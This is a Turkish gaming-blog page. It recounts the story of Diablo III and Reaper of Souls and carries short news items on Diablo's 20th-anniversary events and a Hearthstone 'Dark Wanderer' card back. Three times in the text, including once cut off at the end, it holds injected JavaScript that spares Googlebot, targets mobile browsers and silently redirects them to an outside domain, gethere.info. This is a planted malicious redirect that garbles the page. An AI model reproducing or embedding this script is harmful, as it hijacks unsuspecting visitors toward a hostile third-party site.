Kahramanlar ise, Relic of the Ancients’a sahip olmadıkları için, Baal’ı takip ederken üç savaşçı ile savaşmalıdırlar. Eskiler Baal’dan nefret edip, insanlığa yardım etmek istese de, hala Relic of the Ancients’a sahip olmayanlar ile savaşmaları gerekir. Kahramanlar üç savaşçıyı yener ve savaşçılar onların Worldstone’a girmelerine izin verir. İçeride Baal bulunur ve yenilir, ama Worldstone’a çoktan ulaştığından dolayı değişiklikler yapmıştır. Tyrael Worldstone’un yanında görülür ve kahramanlara Harrogath’a dönen güvenli bir yol sunar. Tyrael şimdi Worldstone’un durumunu düzeltmelidir. Artık onu yok etmekten başka çaresi kalmaz. Alevli kılıcını Worldstone’a doğru fırlatır, Worldstone’un parçalanmasıyla Harrogath’ta büyük bir sarsıntı olur ve Arreat dağı ikiye bölünür.

Bu Diablo II’nin bittiği yerdir. Ve WorldStone’un yok edilişinden 20 yıl sonra yeni oyun başlar.

Önemli Not: Diablo II ilk kez 29 Haziran 200 tarihinde piyasaya sürüldüğü için yazının buraya kadarki kısmını haklı olarak spoiler içerikli olarak görmüyoruz. Buradan sonraki kısım 15 Mayıs 2012’de çıkan oyuna ait. Yine çok spoiler sayılmayabilir ama biz yine de uyaralım. Langır lungur spoiler var kardeşim, arabanın arkasına takılan değil hem de.

Diablo III

Worldstone yok edilmiştir. Bu, Nephalem’leri sınırlayacak bir gücün ortadan kalktığı anlamına gelmekteyse de, ne artık ortalarda doğru düzgün Nephalem kalmıştır ne de Sanctuary artık meleklerden ve şeytanlardan korunabilir haldedir. Deckard Cain, Tristram katedralinde eski kitapları incelerken yeğeni Leah bunların peri masalları olduğunu düşünenlerden biridir. Bu sırada dünyaya düşen bir göktaşı katedrale doğru yol almaktadır. Deckard’ı da yanına alan göktaşı katedralin derinliklerine inerken yeni bir maceranın başlangıcının sembolü olur. Yaratıklar tekrar Sanctuary’de ortaya çıkmıştır.

Birinci Kısım

Kahramanımız seçtiğimiz sınıfa göre farklı bir nedenle düşen yıldızın peşinden gitmektedir. Eski katedralde amcası Deckard’ı kaybetmiş Leah ile karşılaşır. Ona umudunu kaybetmemesini söyleyerek katedrale giderlerken Leah annesinin bir cadı olduğunu ve babasının Tristram düşerken ölen bir kahraman olduğunu söyler. Katedralde Deckard Cain ile karşılaşıp onu kurtaran kahramanımız düşen yıldız ile arasında katedralin eski sakini Skeleton King olduğunu öğrenir. Deckard’ın yardımıyla onu da yenen kahramanımız tahtın arkasındaki gizli geçitte yıldızın düştüğü yere iner fakat orada sadece kim olduğunu hatırlamayan bir adam bulur. Tek hatırladığı karanlığın geliyor olduğu, önemli bir mesaj taşıdığı ve Tristram çevresinde 3 parçaya ayrılmış bir kılıcı olduğudur.

Yaşadıkları yeri korumak isteyen ekip çok güçlü olduğu aşikâr olan kılıcı birleştirerek hem keçi adamları yenmek hem de yabancının hafızasını geri getirmek isterler. Bir mağaranın içerisinde bir tür şeytan tarikatı tarafından ele geçirilmeye çalışılan kılıç parçasını bulduğunda kahraman, Belial’ın altında çalışan şeytan Maghda’nın silueti ile karşılaşırlar. Kahramanımızın önüne birkaç şeytan daha çıkartan Maghda onları yenince “bu seferlik sizin olsun öteki parçayı bulamayacaksınız” tiradı atıp gider. Birtakım maceralar sonrası ikinci parçayı da bulan kahramanımız Nephalem olduğunu kanıtlar. Yeniden Maghda ile karşılaşan ekip ikinci parçayı alırken şeytan Leah’ya annesini hala hayatta olduğunu, içerisinde bir güç taşıdığını söyler ve onları kolay bir savaş ile geçiştirir. Tristram’a dönen ekip son parçayı aramaya çıktıklarında onun çoktan alınmış olduğunu görürler, olan bitenin yalnızca Magdha’nın bir oyunu olduğu ortaya çıkar. 3 parçayı Deckard’ın önüne koyan dişi şeytan ona işkence edip kılıcı tamamlamaya zorlarken Leah’nın hüznü dolayısıyla içinden şeytani bir güç çıkar. Maghda yine “Gidiyorum, giderken şu adamı da alıyorum kılıcı yapın getirin” diyerek yabancıyı kaçırır. Son gücüyle kılıcı tamir eden Deckard oracıkta can verir.

Kılıcı sahibine vermeyi bir görev edinen Leah ve Kahramanımız Leoric’in malikânesine ve ardından insanlara işkence ettiği Halls of Agony’e giderek kim olduğunu hala hatırlamayan meleği kurtarırlar. Ölmek üzere iken eline kılıcını alan melek, adaletin başmeleği Tyrael olduğunu hatırlar. Getirdiği mesaj ise cehennemde kalan son 2 şeytan Belial ve Azmodan’ın da Sanctuary’e indiği haberidir. Şimdi sıra her şeyin anahtarı olan Leah’nın annesi Adria’yı bulmakta ve Belial ile karşılaşmaktadır. Böylece Caldeum kasabasına doğru yol alırlar.

Bu bölümün sonunda Leah, amcasının naaşı önünde durmaktadır. Tyrael’e “Sen kendini feda etmekten ne anlarsın“ deyince Tyrael ona cennette yaşadıklarını gösterir. Imperius onu dünyaya karışmakla suçlamaktadır, eski melek yasalarına göre ölümlülerle uğraştığın için suçlusun der. Tyrael ise biz meleğiz, masum olanı korumak bizim işimiz ayrıca sen beni yargılayamazsın ben adaletin ta kendisiyim der. Eğer senin yasaların seni böyle tepkisiz kılıyorsa ben artık senin kardeşin değilim dedikten sonra kanatlarını çıkarıp atar ve böylece bir ölümlü olup dünyaya düşer. Leah amcasının bütün o hikâyelerinin gerçek olduğunu anlar ona hiç inanmadığı için kendini suçlu hisseder ve Cain’in yarım bıraktığı işi bitireceğini söyler.

İkinci Kısım

Yalanlar Lordu Belial, Caldeum şehrini etkisi altına almıştır. Magdha’yı da şehrin koruyucularını kendinden uzak tutması için yem olarak kullanmaktadır. Kahramanımız, Magdha’nın peşinden giderken Leah ve Tyrael ise Belial’i aramaktadır. Magdha’yı bulan kahramanımız Belial’in Leah’yı esir aldığını öğrenir. Deckard’ın intikamını alan kahramanımız hiç zaman kaybetmeden Caldeum’a doğru yola çıkar. Caldeum’un çocuk imparatoru Hakan ile görüşen kahraman, Leah’yı bulmak için şehrin kanalizasyon sistemine girer, Leah ise annesi Adria’nın peşindedir. Adria’yı bulduklarında Belial’ın adamları onu Blacksoulstone ile ilgili sorguya çekmektedirler. Bu Zoltun Kulle isimli büyücü tarafından yapılmış ve bütün şeytanları birlikte hapsetmenin anahtarı olan ruh taşıdır. Adria Kulle’nin ruhunu Leah’nın güçlerini kullanarak çağırır ve o da bedenini tekrar birleştirmeleri karşılığında Black Soulstone’u onlara vereceğini söyler. Anlaşmaya uyan Kulle yıllar sonra kendi yarattığı ruhtaşına dokununca diğer şeytanların ruhlarının çoktan içine girdiğini görür. Olan bitene bir anlam veremezken Nephalem’e “Boş ver şimdi Tyrael’i falan onlar sadece seni kullanmak istiyor şu elimizdekiyle bütün dünyayı yönetiriz” der ve Nephalem onu tekrar öldürmek zorunda kalır. Adria’ya nasıl olur da 5 cehennem lordunun ruhunun çoktan Black Soulstone’un içinde olduğunu sorarlar. Adria 20 yıl önce her şeyi bırakıp bu iş için Leah’yı terk ettiğini söyler. Belial ve Azmodan’ın ruhu da taşa girince Adria onu parçalayacağını böylece dünyadaki kötülükten sonsuza dek kurtulacaklarını söyler. İmparator Hakan’ın aslında Belial olduğunu öğrenen ekip onu yenip Leah’nın güçleri yardımıyla ruhunu Black Soulstone’a hapseder. Geriye cehennemin tek lordu Azmodan kalmıştır.

Caldeum’un büyük kütüphanesinde amcasının işlerinin devamı için çalışan Leah, Azmodan tarafından bir rüyanın içine çekilir. Leah’ya Arreat kraterinden (dağ patladığı için krater olarak kalmış) yürüyen cehennem ordularını gösteren Günah Lordu, Black Soulstone’un anahtar olduğunu bildiğini ve sayesinde en sonunda cehennemin tek baş şeytanı olarak (the prime evil) Azmodan’ın hükümdarlığının başlayacağını söyler. Taşı nereye saklarsanız saklayın cehennemin istilasından kaçamazsınız derken Tyrael, Leah’yı rüyadan kurtarır.

Ekip şimdi Azmodan’ı avlamaya çıkmıştır.

Üçüncü Kısım

Arreat kraterinin önündeki ilk kale olan Bastion’s Keep’in Cehennem ordularına karşı düşmemesi için uğraşan Nephalem birçok eylemin sonunda istilayı durdurmak için Azmodan’ın en büyük generallerinden Oburluk Lordu Ghom’u öldürür. Bastion’s Keep’e geri dönen Nephaleme bir asker tarafından haber gelir. Cephanelikten tuhaf sesler gelmektedir ve Tyrael bakmaya gitmiştir ancak geri dönmemiştir. Oraya giden Nephalem Adira’nın, Leah’nın güçleri ile birlikte Soulstone’u kontrol altında tutmaya çalıştığını görür. Yorgunluktan ötürü kontrol kaybedildikten sonra etrafa saçılan şeytanları yenerler ancak zamanın giderek daraldığı aşikârdır. Acilen Arreat kraterine gidip Azmodan’ın ruhu da Black Soulstone’a hapsedilmelidir.

Meydan muharebesine katılan Nephalem, Azmodan’ın savaş makinelerini ve ordunun büyük bir kısmını yok etmeyi başarır. En sonunda cehennem geçidini de kapatan Nephalem, Günah Kalplerini de yok eder ve geriye sadece Günah Lordunun kendisi kalır. Onun peşinden Lanetli Kuleye giren ekip Azmodan’ın Karısı, Şehvet Bakiresi Cydea ile karşılaşırlar. Akabinde Azmodan’ı da yenmeyi başaran Nephalem 7 şeytanı tek bir Ruh taşına hapsetmiştir. Bir kez yok edildiğinde Sonsuz Anlaşmazlık da son bulacaktır. Adria taşı yok edecek ritüeller yapacağını söyleyerek Tyrael ve Leah ile Bastion’s Keep’e döner.

Nephalem arkalarından gelir ve Tyrael’in etkisiz kaldığını Leah’nın şeytani bir ritüelin ortasında kaldığını görür. Adria ise aslında 20 yıl önce onu Tristram’a çeken büyük ve korkunç bir gücün etkisi altındadır. Kendisini, içerisinde aslında Diablo’nun yaşadığını gördüğü Aidan’a, The Dark Wanderer’a sunmuştur. Yani Leah, Deckard Cain’in hep şüphelendiği gibi Diablo’nun kızıdır. Şimdi ise yapılan ritüel Leah’yı Diablo’nun bedeni yapacaktır. Geri dönen Diablo artık daha güçlüdür. Taşın içerisindeki 6 diğer şeytan da Diablonun bünyesindedir. Artık Diablo “The Prime Evil” olmuştur. Adria’yı gönderen Terör Lordu, asıl amacını gerçekleştirmek adına cennete bir portal açarak içinden geçer, Tyrael ve Nephalem de hemen ardından giderler.

“Cennetin kalbinde bile melekler hala korkuyu hissedebilir.” –The Prime Evil Diablo

Cennete yürüyen Diablo kapıda Imperius ile karşılaşır. Leah’nın bedeninden kurtulup gerçek formuna ulaşınca ikisi arasında epik bir savaş olur. Girdikleri savaşta Imperius’un mızrağını parçalayan Diablo, ona bir hayli zarar verip cennetin kapılarını da kırar ve içeri yürümeye başlar.

Dördüncü Kısım

Adria insanlığa ihanet etmiştir ve Leah artık ölmüştür. Diablo’nun yeni formu karşısında cennetin hiç şansı yoktur, tek umut ise Nephalem’in ta kendisidir. Imperius olan bitenden hala Tyrael ve Nephalem’in ırkını sorumlu tutmaktadır. Tyrael’in de kafası karışmıştır ve kendini suçlu hissetmektedir. Nephalem şimdi savaş zamanıdır diyerek cennete adımını atar ve orada Kaderin Başmeleği Itherael ile karşılaşır, Itherael ona henüz kaderinin yazılmamış olduğunu ve Umudun Başmeleği Auriel’in kaçırıldığını söyler. Umudun Cenneti geri kazanmalarında yardımı olacağını düşünen Nephalem, Auriel’i kurtarır. Bu sırada Iskatu ve Rakanoth gibi Diablonun büyük generallerini de tek tek yenmektedir.

Umudu tazeleyen Nephalem, meleklere kaderin zincirleriyle bağlı olmadıklarını anlatmış olur. Sonrasında Diablo’nun cehennem portallarını yok eder. Tyrael de umutsuzluğa kapılarak yanıldığını kabul eder ve tekrar kahramanımızın yanında savaşmaya başlar. Burada ölümlülere dair şu sözleri sarf eder; Şimdi anlıyorum, sizin türünüz her gün karanlık ve ölümle karşılaşsa da devam edecek gücü kendinde buluyor. Sizlerden biri olmak bir onurdur.

Imperius ise hala Nephalem’den rahatsızdır. Bir ölümlü için cennetin olmaması gereken yerlerindedir ve “seni bi daha burada görmeyeyim” diyerek savaşa devam etmek için önünden ayrılır ama yine de Angiris Konseyinin kalanı Nephalem’in tek umut olduğunu bilmektedir. Auriel “Senin gücün Tyrion’un ileri görüşlülüğünden bile fazla” der.

Diablo cennetin en tepesi olan Kristal Kubbeye doğru yol almaktadır, eğer orayı alırsa cennet için yapılacak hiçbir şey kalmamış demektir. İlerleyen Nephalem’in yolu tekrar Imperius tarafından kesilir, Tyrael ona asıl düşmanın Diablo olduğunu anlatmaya çalışırken Diablo Kristal Kubbeye ulaşır ve meleklerin kanatları yok olur. Böylece en güçlülerinden biri olan Imperius bile düşer ve savaşamayacak hale gelir, Diablo yenmek üzeredir ve cennete karanlık hâkim olmuştur. Hala savaşabilecek olanlar Nephalem ve Tyrael’dir. Tyrael’in kılıcı El’Druin yolu aydınlatırken Kristal Kubbeye bir kapı açar ve son savaşı için Nephalem, Diablo’nun karşısına çıkar.

En sonunda hem cenneti hem de Sanctuary’i kurtaran Nephalem, yeniden doğan güneş ile kendini tamir eden cennete yepyeni bir ders vermiştir. Diablo yenildiğinde Prime Evil tekrar Black Soulstone’a dönüşmüştür. Tyrael Angiris Konseyindeki yerine tekrar alınır ama bu sefer bir ölümlü olarak. Adalet bu günle tanıştığından beri ona artık Bilgeliğin Başmeleği olarak ihtiyaç duyulduğunu fark ederler. Artık cehennemin iblislerinin yedisi de yenilmiştir ve zafer dolu bu yeni günün şafağında insanlar ve melekler artık aynı safta yer almaktadırlar.

Diablo III: Reaper of Souls

Bölüm Beş

Tyrael, bilgelik makamına geçmiştir ve 7 Şeytan’ın ruhu Black Soulstone içinde hapsolmuştur. Taşı yok ederse Diablo’nun cehenneme geri döneceğini bilen Tyrael ve Diablo’dan çekinen melekler onu cennette istemezler. Horadrim’i tekrar toplayan Tyrael onu Tomb of Tal Rasha gibi bir yerde saklamak üzereyken içeri giren eski Bilgelik Başmeleği, şimdi Ölüm Meleği olan Malthael içeri girip taşı alır. Tyrael olan bitene anlam veremez ama Malthael’e Nephalem’in onu durduracağını söyler. Aldığı cevap ise çok nettir: Kimse Ölümü Durduramaz!

Birkaç yıl sonra, Tristram’ın hemen başucundaki büyük şehir Westmarch’da Azrailler (Reapers) ortalığa dehşet saçıp masum insanları öldürmektedir. Bunu öğrenen Nephalem onları durdurmak için Westmarch’a yol alırken ona haber vermek için ilerleyen Horadrim’in habercileri ile karşılaşır. Daha sonra Tyrael ile karşılaşan Nephalem Malthael’in Sonsuz Anlaşmazlıktan bıkan bir melek olduğunu ve ölümlülere karşı duyduğu ilgi sonrası Angiris konseyindeki Bilgelik makamını bırakıp Pandemonium’da ölüm ve ötesi ile ilgili araştırmalar yaptığını öğrenir. Amacı Sonsuz anlaşmazlığı bitirmek için Cenneti de Cehennemi de yok etmektir, bu arada ölüm meleği olduğu için ölümden beslenmektedir. Westmarch’da alınan her can ona güç katarken Black Soulstone’u da etkisi altına alan Malthael yenilmez olmuştur. Zamanla ona katılan Urzael’i yenen ve bu arada Hain Cadı Adria’nında hakkından gelen Nephalem, Pandemonium’a doğru ilerler. Bütün çabaları sonucunda Malthael’e erişen Nephalem hala ölümü nasıl öldüreceğini bilmese de ona ulaşmadan hemen önce (seçtiğiniz sınıfa göre farklı bir arka plan ile) ona ölüme zarar verecek güç bahşedilir.

En sonunda Tyrael’in açısından olan bitene tanık olurken görüyoruz ki Nephalem elinde Black Soulstone ile duruyor ve gözlerinde ışık çıkacak kadar güce sahip oluyor. Tyrael ise aklına takılan soruyu söylemeden edemiyor; Gücü çok yükseklere eriştiğinde bizim yenilmez kahramanımız mı yoksa felaketimiz mi olacak?

Diablo III’ün şimdiye kadarki hikayesi burada son buluyor. Önümüzdeki ek paketler geldiğinde ekleme yaparız. Şimdi bu yazıların asıl amacı olan Heroes of The Storm oyunundaki Diablo dünyasından alınan karakterlere sıra geldi. Önümüzdeki süreçte o yazılarda sizlerle tekrar görüşmek üzere.

if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

DIABLO 20. Yıl Etkinliği Başladı

Orijinal Diablo’yu Diablo 3’de oynayabileceğiniz “Darkening of Tristram” etkinliği, 2.4.3 yamasıyla birlikte yayınlandı. Butcher’ın “Fresh meat!” demesini, karanlık koridorları arşınlamayı özlediyseniz bir göz atmanızda fayda var.

Ayrıca Heartstone için de Diablo’ya özel Tavern Brawl dün akşam itibariyle oynanabilir oldu. Dark Wanderer’ın Cow level’ını görmek de bir o kadar eğlenceli.

DIABLO Kutlamaları Resmi Olarak Açıklandı



Blizzard, Diablo Kutlamalarını Resmi Olarak Açıkladı

Biz demiştik!

Oyun dünyasında Noel sezonu henüz bitmedi. Özellikle de Blizzard bu yıl hepimizi uslu birer çocuk olarak görmüş olacak ki yeni yılda Diablo’nun 20.yılını kutlamak amacıyla yepyeni etkinliklerle gelecek.

Açıklamada Bütün oyuncularına bu sürede yanlarında oldukları ve Sanctuary’deki maceraya devam etmelerine müsaade ettikleri için teşekkür eden Blizzard “işte 20 yılın ödülü!” diyerek ipuçlarını paylaştı.

qypslda58bmm1482359143120

Bütün oyunlarında kısa süreli oyun içi etkinliklerle oyuncuların karşısına çıkacak olan firmanın Diablo III ve Hearthstone’da yapacaklarını önceden haber vermiştik. Bir kez daha üzerinden geçecek olursak Diblo III’e orijinal Diablo I’in 16 dungeon’u gelecek ve ufak filtreler de eklenerek son oyunda retro havasıyla oyun deneyimi yaşatacak.

Hearthstone’da ise ikinci Diablo oyununa ithafen bir Tavern Brawl gelecek.

Heroes of The Storm’da “Yüksek cennet için yapılan savaş devam edecek.” denilerek Diablo temalı haritalardan birini baz alan bir Brawl’ın haberini veriyor, ayrıca Diablo temalı bir kahraman portresi de gelenek olduğu üzere yolda.

Overwatch’da Diablo III karakter sınıflarının spreyleri, Lord of Terror oyuncu icon’u ve Sanctuary temalı savaş alanları olacak.

World of Warcraft‘ta ise, resmi açıklamadan daha fazla bilgiye sahip değiliz; “Azerothta garip şeyler olmakta, Sanctuary’nin vatandaşları hiç tanımadıkları bir dünyaya adım atıyorlar.

Şimdi Blizzard camiasından korku dolu günler geliyor.

Dark Wanderer, Tavern Brawl Çıktı

Hey çabuk olun birisi koltuğunuzu kapmadan oturun!

Dün sizinle aldığımız bir duyumu paylaşmıştık, Bir Reddit kullanıcısı oyunun kodları arasında “Warlock ve Dark Wanderer” kelimelerini bir arada gördüğü için yeni bir Warlock kahramanının geliyor olabileceğini ve bunun Diablo 2’den bir karakter olabileceğini söylemiştik. Bugün, işin aslı astarı ortaya çıktı.

Mean Streets of Gadgetzan’ın gelişiyle birlikte oyuna eklenen yeni mekanikler ve yeni ara yüzler oldu. Henüz oynamadıysanız en kısa sürede oyuna girmenizi tavsiye ederim zira her yeni genişleme paketin de olduğu gibi ekstra görevler karşılığı packler alacak ve yeni kartlara göz atabileceksiniz. Eklenen bir başka yeni içerik ise “Card Back”ler oldu. Oyunda kullandığımız kartların yerine rakibimizin gördüğü bu “kart arkalıklarına” her ay yenisi ekleniyor, bazıları ise ay sonu ödülü olarak değil de başka yollarla elde edilebiliyor.

hearthstone_screenshot_12-02-16_16-11-47

İşte “Dark Wanderer” bu Card Back’lerin arasında bir yenisi. Şubat ayına kadar Gadgetzan sokaklarına hükmeden 3 çeteninkiler ay sonu ödülü olarak gelecekse de fotoğrafta gördüğünüz gibi Hearthstone tarihinde ikinci kez bir “Tavern Brawl” pack yerine Card Back verecek. Sanırsam Reddit’teki kullanıcının bulgusundan ancak şu çıkarımı yapabiliriz; Dark Wanderer isimli tavern Brawlda karşımıza çıkacak “Wanderer” Warlock olacak. Kim bilir, belki de gerçekten bir Diablo karakteri veya yalnızca Diablo göndermesidir.

Kartın adı “gizli seviye”. Baya havalı göründüğünü eklemek isterim. Açıklaması ise şöyle “Möö, evet beni duydun.” Diablo 2 de bulunun gizli inek seviyesi, kartın ortasındaki yuvarlakta ise aynı can küreleri gibi doluyor. 2017 de gelecek bir Brawl olacağını söylüyor umarım 1 Ocakta yada mümkün olduğunca erken görürüz çünkü bariz bir Diablo göndermesi  ve oyundan “Heroes of Warcraft” ibaresinin bir süre atılmış olması tavernada büyük adımlar atılacak demek olabilir. Sabırsızlanıyorum.

Kış Duvağı Festivaliniz Kutlu olsun!if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

Hearthstone’a Yeni Bir Warlock mu Geliyor?

Hearthstone’dan bir süre önce “Warcraft’ın kahramanları” ibaresi çıkartılmıştı. Blizzard gibi bir firmada bu tip küçük değişikliklerin elbette bir anlamı olmalıydı. Şimdi “judge2020” isimli bir Reddit kullanıcısı yaptığı çıkarımlarla bu sonuçlardan birini öngördüğünü iddia ediyor.

Oyunda 9 sınıf var ve her sınıfın yalnızca 1 kahramanının olması kesinlikle kabul edilemez. Şimdi yavaş yavaş yenileri eklenirken, henüz seçenek gelmemiş Warlock ve Rogue gibi sınıfların sevenleri arasında bekleyiş sürüyor. Yukarıda sözünü ettiğimiz olay ise tam da buraya denk düşüyor. Kullanıcının iddiasına göre yeni gelecek Necromancer/Warlock kahramanı Diablo’dan hem de Diablo II’den. “Dark Wanderer” isimli bu arkadaşın tek sorunu ise Hearthstone grafikleri için fazla korkunç olması.

Dayanağı ise oyunun kodları arasında bulduğu şu yazı:

“{“name”:”Dark Wanderer”,”playerClass”:”WARLOCK”,”id”:”TB_SPT_DPromo_Hero”,”set”:”TB”,”health”:30,”type”:”HERO”}”

Peki siz ne düşünüyorsunuz? Oyun sadece Warcraft bünyesinde mi devam etmeli yoksa Heroes of The Storm gibi bütün Blizzard dünyasını kapsamalı mı? Yeni karakter oraya yakışacak mı?

 if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( 